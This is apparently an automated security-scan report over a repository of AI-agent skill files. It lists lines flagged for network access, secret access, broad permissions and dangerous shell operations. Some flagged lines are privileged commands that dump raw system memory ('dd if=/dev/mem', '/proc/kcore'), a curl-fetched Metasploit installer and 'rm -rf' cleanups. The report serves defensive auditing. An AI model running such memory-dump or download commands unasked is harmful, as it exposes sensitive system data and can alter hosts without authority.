    | GitHub samples | https://github.com/microsoft/agents |

skills/m365-agents-py/SKILL.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Network accessline 200
    context.streaming_response.set_sensitivity_label(         SensitivityUsageInfo(             type="https://schema.org/Message",
  • Network accessline 201
    SensitivityUsageInfo(             type="https://schema.org/Message",             schema_type="CreativeWork",
  • Network accessline 202
    type="https://schema.org/Message",
  • Network accessline 241
    [Credential-related source omitted]
  • Network accessline 242
    # Use token to call Microsoft Graph         async with aiohttp.ClientSession() as session:             headers = {
  • Network accessline 243
    async with aiohttp.ClientSession() as session:
  • Network accessline 247
    }             async with session.get(                 "https://graph.microsoft.com/v1.0/me", headers=headers
  • Network accessline 248
    async with session.get(                 "https://graph.microsoft.com/v1.0/me", headers=headers             ) as response:
  • Network accessline 249
    "https://graph.microsoft.com/v1.0/me", headers=headers
  • Network accessline 273
    pca = PublicClientApplication(         client_id=app_client_id,         authority=f"https://login.microsoftonline.com/{tenant_id}",
  • Network accessline 274
    client_id=app_client_id,         authority=f"https://login.microsoftonline.com/{tenant_id}",     )
  • Network accessline 275
    authority=f"https://login.microsoftonline.com/{tenant_id}",
  • Network accessline 278
    token_request = {"scopes": ["https://api.powerplatform.com/.default"]}
  • Access to secretsline 283
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Network accessline 338
    | Resource | URL | | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ |
  • Network accessline 339
    | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | | GitHub samples (Python) | https://github.com/microsoft/Agents-for-python |
  • Network accessline 340
    | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ |
  • Network accessline 341
    | GitHub samples (Python) | https://github.com/microsoft/Agents-for-python |
  • Network accessline 342
    | PyPI packages | https://pypi.org/search/?q=microsoft-agents |
  • Network accessline 343
    | Integrate with Copilot Studio | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/integrate-with-mcs |

skills/m365-agents-ts/SKILL.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 74
    context.streamingResponse.setGeneratedByAILabel(true);   context.streamingResponse.setSensitivityLabel({     type: "https://schema.org/Message",
  • Network accessline 75
    context.streamingResponse.setSensitivityLabel({     type: "https://schema.org/Message",     "@type": "CreativeWork",
  • Network accessline 76
    type: "https://schema.org/Message",
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 177
    | Resource | URL | | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ |
  • Network accessline 178
    | --- | --- | | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ | | JavaScript SDK overview | https://learn.microsoft.com/en-us/javascript/api/overview/agents-overview?view=agents-sdk-js-latest |
  • Network accessline 179
    | Microsoft 365 Agents SDK | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/ |
  • Network accessline 180
    | JavaScript SDK overview | https://learn.microsoft.com/en-us/javascript/api/overview/agents-overview?view=agents-sdk-js-latest |
  • Network accessline 181
    | @microsoft/agents-hosting-express | https://learn.microsoft.com/en-us/javascript/api/%40microsoft/agents-hosting-express?view=agents-sdk-js-latest |
  • Network accessline 182
    | @microsoft/agents-copilotstudio-client | https://learn.microsoft.com/en-us/javascript/api/%40microsoft/agents-copilotstudio-client?view=agents-sdk-js-latest |
  • Network accessline 183
    | Integrate with Copilot Studio | https://learn.microsoft.com/en-us/microsoft-365/agents-sdk/integrate-with-mcs |
  • Network accessline 184
    | GitHub samples | https://github.com/microsoft/Agents/tree/main/samples/nodejs |

skills/mailchimp-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/make-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/makepad-skills/SKILL.md

  • Network accessline 2
    name: makepad-skills description: "Makepad UI development skills for Rust apps: setup, patterns, shaders, packaging, and troubleshooting." source: "https://github.com/ZhangHanDong/makepad-skills"
  • Network accessline 3
    description: "Makepad UI development skills for Rust apps: setup, patterns, shaders, packaging, and troubleshooting." source: "https://github.com/ZhangHanDong/makepad-skills" risk: safe
  • Network accessline 4
    source: "https://github.com/ZhangHanDong/makepad-skills"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/ZhangHanDong/makepad-skills).

skills/manifest/SKILL.md

  • Network accessline 48
    > To connect your agent, you need a Manifest API key. Here's how to get one: > > 1. Go to **https://app.manifest.build** and create an account (or sign in)
  • Network accessline 49
    > > 1. Go to **https://app.manifest.build** and create an account (or sign in) > 2. Once logged in, click **"Connect Agent"** to create a new agent
  • Network accessline 50
    > 1. Go to **https://app.manifest.build** and create an account (or sign in)
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 65
    Ask the user if they have a custom endpoint. If not, the default (`https://app.manifest.build/api/v1/otlp`) is used automatically. If they do:
  • Network accessline 118
    Use @manifest to connect my agent to my self-hosted Manifest instance at https://manifest.internal.company.com/api/v1/otlp

skills/market-sizing-analysis/references/data-sources.md

  • Network accessline 9
    **Gartner** (https://www.gartner.com)
  • Network accessline 15
    **Forrester** (https://www.forrester.com)
  • Network accessline 21
    **IDC** (https://www.idc.com)
  • Network accessline 27
    **McKinsey** (https://www.mckinsey.com/featured-insights)
  • Network accessline 34
    **Statista** (https://www.statista.com)
  • Network accessline 39
    **CB Insights** (https://www.cbinsights.com)
  • Network accessline 44
    **PitchBook** (https://pitchbook.com)
  • Network accessline 49
    **Grand View Research** (https://www.grandviewresearch.com)
  • Network accessline 58
    **U.S. Census Bureau** (https://www.census.gov)
  • Network accessline 63
    **Bureau of Labor Statistics** (https://www.bls.gov)
  • Network accessline 68
    **SEC EDGAR** (https://www.sec.gov/edgar)
  • Network accessline 73
    **Data.gov** (https://www.data.gov)
  • Network accessline 80
    **OECD** (https://data.oecd.org)
  • Network accessline 84
    **World Bank** (https://data.worldbank.org)
  • Network accessline 88
    **Eurostat** (https://ec.europa.eu/eurostat)
  • Network accessline 158
    **Research and Markets** (https://www.researchandmarkets.com)
  • Network accessline 163
    **MarketsandMarkets** (https://www.marketsandmarkets.com)
  • Network accessline 170
    **Google Scholar** (https://scholar.google.com)
  • Network accessline 174
    **SSRN** (https://www.ssrn.com)
  • Network accessline 178
    **arXiv** (https://arxiv.org)

skills/mcp-builder-ms/SKILL.md

  • Network accessline 27
    |------|-----------|----------|---------| | **Local** | stdio | Desktop apps, single-user, local dev | Azure MCP Server via NPM/Docker | | **Remote** | Streamable HTTP | Cloud services, multi-tenant, Agent Service | `https://mcp.ai.azure.co
  • Network accessline 29
    | **Remote** | Streamable HTTP | Cloud services, multi-tenant, Agent Service | `https://mcp.ai.azure.com` (Foundry) |
  • Network accessline 36
    |--------|------|-------------| | **Azure MCP** | Local | 48+ Azure services (Storage, KeyVault, Cosmos, SQL, etc.) | | **Foundry MCP** | Remote | `https://mcp.ai.azure.com` - Models, deployments, evals, agents |
  • Network accessline 37
    | **Azure MCP** | Local | 48+ Azure services (Storage, KeyVault, Cosmos, SQL, etc.) | | **Foundry MCP** | Remote | `https://mcp.ai.azure.com` - Models, deployments, evals, agents | | **Fabric MCP** | Local | Microsoft Fabric APIs, OneLake, 
  • Network accessline 38
    | **Foundry MCP** | Remote | `https://mcp.ai.azure.com` - Models, deployments, evals, agents |
  • Network accessline 39
    | **Fabric MCP** | Local | Microsoft Fabric APIs, OneLake, item definitions | | **Playwright MCP** | Local | Browser automation and testing | | **GitHub MCP** | Remote | `https://api.githubcopilot.com/mcp` |
  • Network accessline 41
    | **GitHub MCP** | Remote | `https://api.githubcopilot.com/mcp` |
  • Network accessline 83
    Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml`
  • Network accessline 85
    Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`).
  • Network accessline 113
    **For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 114
    - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 117
    **For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 118
    - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 259
    ### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 260
    - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 276
    ### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 277
    - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 278
    - **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`

skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/mcp-builder/SKILL.md

  • Network accessline 43
    Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml`
  • Network accessline 45
    Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`).
  • Network accessline 62
    **For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 63
    - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
  • Network accessline 66
    **For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 67
    - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 204
    ### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 205
    - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix
  • Network accessline 213
    ### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 214
    - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 215
    - **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`

skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

skills/memory-forensics/SKILL.md

  • Dangerous shell operationline 51
    sudo insmod lime.ko "path=/tmp/memory.lime format=lime"
  • Dangerous shell operationline 54
    sudo dd if=/dev/mem of=memory.raw bs=1M
  • Dangerous shell operationline 57
    sudo cp /proc/kcore memory.elf
  • Dangerous shell operationline 63
    sudo ./osxpmem -o memory.raw
  • Network accessline 92
    # Install symbol tables (Windows) # Download from https://downloads.volatilityfoundation.org/volatility3/symbols/
  • Network accessline 93
    # Download from https://downloads.volatilityfoundation.org/volatility3/symbols/

skills/memory-safety-patterns/resources/implementation-playbook.md

  • Network accessline 601
    - [C++ Core Guidelines](https://isocpp.github.io/CppCoreGuidelines/)
  • Network accessline 602
    - [Rust Ownership](https://doc.rust-lang.org/book/ch04-00-understanding-ownership.html)
  • Network accessline 603
    - [AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html)

skills/memory-systems/SKILL.md

  • Network accessline 2
    name: memory-systems description: "Design short-term, long-term, and graph-based memory architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/memory-systems"
  • Network accessline 3
    description: "Design short-term, long-term, and graph-based memory architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/memory-systems" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/memory-systems"

skills/metasploit-framework/SKILL.md

  • Network accessline 21
    # Metasploit comes pre-installed on Kali Linux # For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Network accessline 22
    # For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall
  • Network accessline 23
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Dangerous shell operationline 28
    sudo systemctl start postgresql
  • Dangerous shell operationline 29
    sudo msfdb init
  • Dangerous shell operationline 477
    | Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |

skills/microservices-patterns/resources/implementation-playbook.md

  • Network accessline 185
    def __init__(self):         self.order_service_url = "http://order-service:8000"
  • Network accessline 186
    self.order_service_url = "http://order-service:8000"
  • Network accessline 187
    self.payment_service_url = "http://payment-service:8001"         self.inventory_service_url = "http://inventory-service:8002"         self.http_client = httpx.AsyncClient(timeout=5.0)
  • Network accessline 188
    self.inventory_service_url = "http://inventory-service:8002"
  • Network accessline 189
    self.http_client = httpx.AsyncClient(timeout=5.0)
  • Network accessline 251
    def __init__(self, base_url: str):         self.base_url = base_url         self.client = httpx.AsyncClient(
  • Network accessline 252
    self.base_url = base_url         self.client = httpx.AsyncClient(             timeout=httpx.Timeout(5.0, connect=2.0),
  • Network accessline 253
    self.client = httpx.AsyncClient(
  • Network accessline 254
    timeout=httpx.Timeout(5.0, connect=2.0),
  • Network accessline 255
    limits=httpx.Limits(max_keepalive_connections=20)
  • Network accessline 274
    # Usage payment_client = ServiceClient("http://payment-service:8001")
  • Network accessline 275
    payment_client = ServiceClient("http://payment-service:8001")

skills/microsoft-azure-webjobs-extensions-authentication-events-dotnet/SKILL.md

  • Network accessline 118
    private static async Task<UserProfile> GetUserProfileAsync(string userId)     {         var response = await _httpClient.GetAsync($"https://api.example.com/users/{userId}");
  • Network accessline 119
    {         var response = await _httpClient.GetAsync($"https://api.example.com/users/{userId}");         response.EnsureSuccessStatusCode();
  • Network accessline 120
    var response = await _httpClient.GetAsync($"https://api.example.com/users/{userId}");
  • Network accessline 436
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents |
  • Network accessline 437
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents | | Custom Extensions Overview | https://learn.microsoft.com/entra/identity-platform/custom-extension-overview |
  • Network accessline 438
    | NuGet Package | https://www.nuget.org/packages/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents |
  • Network accessline 439
    | Custom Extensions Overview | https://learn.microsoft.com/entra/identity-platform/custom-extension-overview |
  • Network accessline 440
    | Token Issuance Events | https://learn.microsoft.com/entra/identity-platform/custom-extension-tokenissuancestart-setup |
  • Network accessline 441
    | Attribute Collection Events | https://learn.microsoft.com/entra/identity-platform/custom-extension-attribute-collection |
  • Network accessline 442
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/entra/Microsoft.Azure.WebJobs.Extensions.AuthenticationEvents |

skills/microsoft-teams-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/miro-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/mixpanel-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/mobile-design/SKILL.md

  • Broad permissionsline 1
    Read, Glob, Grep, Bash
  • Access to secretsline 129
    [Credential-related source omitted]

skills/mobile-design/decision-trees.md

  • Access to secretsline 229
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]
  • Access to secretsline 508
    [Credential-related source omitted]

skills/mobile-design/mobile-backend.md

  • Network accessline 215
    "latest_version": "2.3.0",   "force_update": false,   "update_url": "https://apps.apple.com/...",
  • Network accessline 216
    "force_update": false,   "update_url": "https://apps.apple.com/...",   "feature_flags": {
  • Network accessline 217
    "update_url": "https://apps.apple.com/...",
  • Access to secretsline 257
    [Credential-related source omitted]

skills/mobile-design/mobile-navigation.md

  • Network accessline 253
    Examples: ├── myapp://product/123 ├── https://myapp.com/product/123 (Universal/App Link)
  • Network accessline 254
    ├── myapp://product/123 ├── https://myapp.com/product/123 (Universal/App Link) ├── myapp://checkout?promo=SAVE20
  • Network accessline 255
    ├── https://myapp.com/product/123 (Universal/App Link)

skills/mobile-design/scripts/mobile_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 328
    [Credential-related source omitted]

skills/mobile-developer/SKILL.md

  • Access to secretsline 139
    [Credential-related source omitted]

skills/mobile-security-coder/SKILL.md

  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

skills/modern-javascript-patterns/resources/implementation-playbook.md

  • Network accessline 335
    // Async function always returns a Promise async function fetchUser(id) {   const response = await fetch(`/api/users/${id}`);
  • Network accessline 336
    async function fetchUser(id) {   const response = await fetch(`/api/users/${id}`);   const user = await response.json();
  • Network accessline 337
    const response = await fetch(`/api/users/${id}`);
  • Network accessline 386
    // Top-level await (ES2022) const config = await fetch('/config.json').then(r => r.json());
  • Network accessline 387
    const config = await fetch('/config.json').then(r => r.json());
  • Network accessline 391
    for (let i = 0; i < retries; i++) {     try {       return await fetch(url);
  • Network accessline 392
    try {       return await fetch(url);     } catch (error) {
  • Network accessline 393
    return await fetch(url);
  • Network accessline 787
    let page = 1;   while (true) {     const response = await fetch(`${url}?page=${page}`);
  • Network accessline 788
    while (true) {     const response = await fetch(`${url}?page=${page}`);     const data = await response.json();
  • Network accessline 789
    const response = await fetch(`${url}?page=${page}`);
  • Network accessline 906
    - **MDN Web Docs**: https://developer.mozilla.org/en-US/docs/Web/JavaScript
  • Network accessline 907
    - **JavaScript.info**: https://javascript.info/
  • Network accessline 908
    - **You Don't Know JS**: https://github.com/getify/You-Dont-Know-JS
  • Network accessline 909
    - **Eloquent JavaScript**: https://eloquentjavascript.net/
  • Network accessline 910
    - **ES6 Features**: http://es6-features.org/

skills/monday-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/monorepo-management/resources/implementation-playbook.md

  • Network accessline 74
    // turbo.json {   "$schema": "https://turbo.build/schema.json",
  • Network accessline 75
    {   "$schema": "https://turbo.build/schema.json",   "globalDependencies": ["**/.env.*local"],
  • Network accessline 76
    "$schema": "https://turbo.build/schema.json",
  • Dangerous shell operationline 117
    "clean": "turbo run clean && rm -rf node_modules"

skills/moodle-external-api-development/SKILL.md

  • Network accessline 403
    # Get token first curl -X POST "https://yourmoodle.com/login/token.php" \
  • Network accessline 404
    curl -X POST "https://yourmoodle.com/login/token.php" \
  • Network accessline 409
    # Call your API curl -X POST "https://yourmoodle.com/webservice/rest/server.php" \
  • Network accessline 410
    curl -X POST "https://yourmoodle.com/webservice/rest/server.php" \
  • Network accessline 583
    - [Moodle External API Documentation](https://moodledev.io/docs/5.2/apis/subsystems/external/functions)
  • Network accessline 584
    - [Moodle Coding Style](https://moodledev.io/general/development/policies/codingstyle)
  • Network accessline 585
    - [Moodle Database API](https://moodledev.io/docs/5.2/apis/core/dml)
  • Network accessline 586
    - [Web Services API Documentation](https://moodledev.io/docs/5.2/apis/subsystems/external)

skills/mtls-configuration/SKILL.md

  • Network accessline 358
    - [Istio Security](https://istio.io/latest/docs/concepts/security/)
  • Network accessline 359
    - [SPIFFE/SPIRE](https://spiffe.io/)
  • Network accessline 360
    - [cert-manager](https://cert-manager.io/)
  • Network accessline 361
    - [Zero Trust Architecture (NIST)](https://www.nist.gov/publications/zero-trust-architecture)

skills/multi-agent-patterns/SKILL.md

  • Network accessline 2
    name: multi-agent-patterns description: "Master orchestrator, peer-to-peer, and hierarchical multi-agent architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/multi-agent-patterns"
  • Network accessline 3
    description: "Master orchestrator, peer-to-peer, and hierarchical multi-agent architectures" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/multi-agent-patterns" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/multi-agent-patterns"
  • Network accessline 249
    External resources: - [LangGraph Documentation](https://langchain-ai.github.io/langgraph/) - Multi-agent patterns and state management
  • Network accessline 250
    - [LangGraph Documentation](https://langchain-ai.github.io/langgraph/) - Multi-agent patterns and state management
  • Network accessline 251
    - [AutoGen Framework](https://microsoft.github.io/autogen/) - GroupChat and conversational patterns
  • Network accessline 252
    - [CrewAI Documentation](https://docs.crewai.com/) - Hierarchical agent processes
  • Network accessline 253
    - [Research on Multi-Agent Coordination](https://arxiv.org/abs/2308.00352) - Survey of multi-agent systems

skills/n8n-code-python/SKILL.md

  • Network accessline 2
    name: n8n-code-python description: "Write Python code in n8n Code nodes. Use when writing Python in n8n, using _input/_json/_node syntax, working with standard library, or need to understand Python limitations in n8n Code nodes." source: "h
  • Network accessline 3
    description: "Write Python code in n8n Code nodes. Use when writing Python in n8n, using _input/_json/_node syntax, working with standard library, or need to understand Python limitations in n8n Code nodes." source: "https://github.com/czlo
  • Network accessline 4
    source: "https://github.com/czlonkowski/n8n-skills/tree/main/skills/n8n-code-python"
  • Possible obfuscationline 585
    decoded = base64.b64decode(encoded)
  • Network accessline 744
    ### n8n Documentation - Code Node Guide: https://docs.n8n.io/code/code-node/
  • Network accessline 745
    - Code Node Guide: https://docs.n8n.io/code/code-node/
  • Network accessline 746
    - Python in n8n: https://docs.n8n.io/code/builtin/python-modules/

skills/n8n-mcp-tools-expert/SKILL.md

  • Network accessline 2
    name: n8n-mcp-tools-expert description: "Expert guide for using n8n-mcp MCP tools effectively. Use when searching for nodes, validating configurations, accessing templates, managing workflows, or using any n8n-mcp tool. Provides tool sele..
  • Network accessline 3
    description: "Expert guide for using n8n-mcp MCP tools effectively. Use when searching for nodes, validating configurations, accessing templates, managing workflows, or using any n8n-mcp tool. Provides tool sele..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/czlonkowski/n8n-skills/tree/main/skills/n8n-mcp-tools-expert"
  • Access to secretsline 511
    [Credential-related source omitted]

skills/n8n-node-configuration/SKILL.md

  • Network accessline 2
    name: n8n-node-configuration description: "Operation-aware node configuration guidance. Use when configuring nodes, understanding property dependencies, determining required fields, choosing between get_node detail levels, or learning commo
  • Network accessline 3
    description: "Operation-aware node configuration guidance. Use when configuring nodes, understanding property dependencies, determining required fields, choosing between get_node detail levels, or learning commo..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/czlonkowski/n8n-skills/tree/main/skills/n8n-node-configuration"
  • Network accessline 71
    {   "method": "GET",   "url": "https://api.example.com"
  • Network accessline 72
    "method": "GET",   "url": "https://api.example.com"   // sendBody not shown (GET doesn't have body)
  • Network accessline 73
    "url": "https://api.example.com"
  • Network accessline 78
    {   "method": "POST",   "url": "https://api.example.com",
  • Network accessline 79
    "method": "POST",   "url": "https://api.example.com",   "sendBody": true,       // Now visible!
  • Network accessline 80
    "url": "https://api.example.com",
  • Network accessline 150
    {   "method": "POST",   "url": "https://api.example.com/create",
  • Network accessline 151
    "method": "POST",   "url": "https://api.example.com/create",   "authentication": "none"
  • Network accessline 152
    "url": "https://api.example.com/create",
  • Network accessline 169
    {   "method": "POST",   "url": "https://api.example.com/create",
  • Network accessline 170
    "method": "POST",   "url": "https://api.example.com/create",   "authentication": "none",
  • Network accessline 171
    "url": "https://api.example.com/create",
  • Network accessline 185
    {   "method": "POST",   "url": "https://api.example.com/create",
  • Network accessline 186
    "method": "POST",   "url": "https://api.example.com/create",   "authentication": "none",
  • Network accessline 187
    "url": "https://api.example.com/create",
  • Network accessline 510
    {   "method": "GET",   "url": "https://api.example.com/users",
  • Network accessline 511
    "method": "GET",   "url": "https://api.example.com/users",   "authentication": "predefinedCredentialType",
  • Network accessline 512
    "url": "https://api.example.com/users",
  • Network accessline 529
    {   "method": "POST",   "url": "https://api.example.com/users",
  • Network accessline 530
    "method": "POST",   "url": "https://api.example.com/users",   "authentication": "none",
  • Network accessline 531
    "url": "https://api.example.com/users",

skills/nanobanana-ppt-skills/SKILL.md

  • Network accessline 2
    name: nanobanana-ppt-skills description: "AI-powered PPT generation with document analysis and styled images" source: "https://github.com/op7418/NanoBanana-PPT-Skills"
  • Network accessline 3
    description: "AI-powered PPT generation with document analysis and styled images" source: "https://github.com/op7418/NanoBanana-PPT-Skills" risk: safe
  • Network accessline 4
    source: "https://github.com/op7418/NanoBanana-PPT-Skills"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/op7418/NanoBanana-PPT-Skills).

skills/nestjs-expert/SKILL.md

  • Network accessline 35
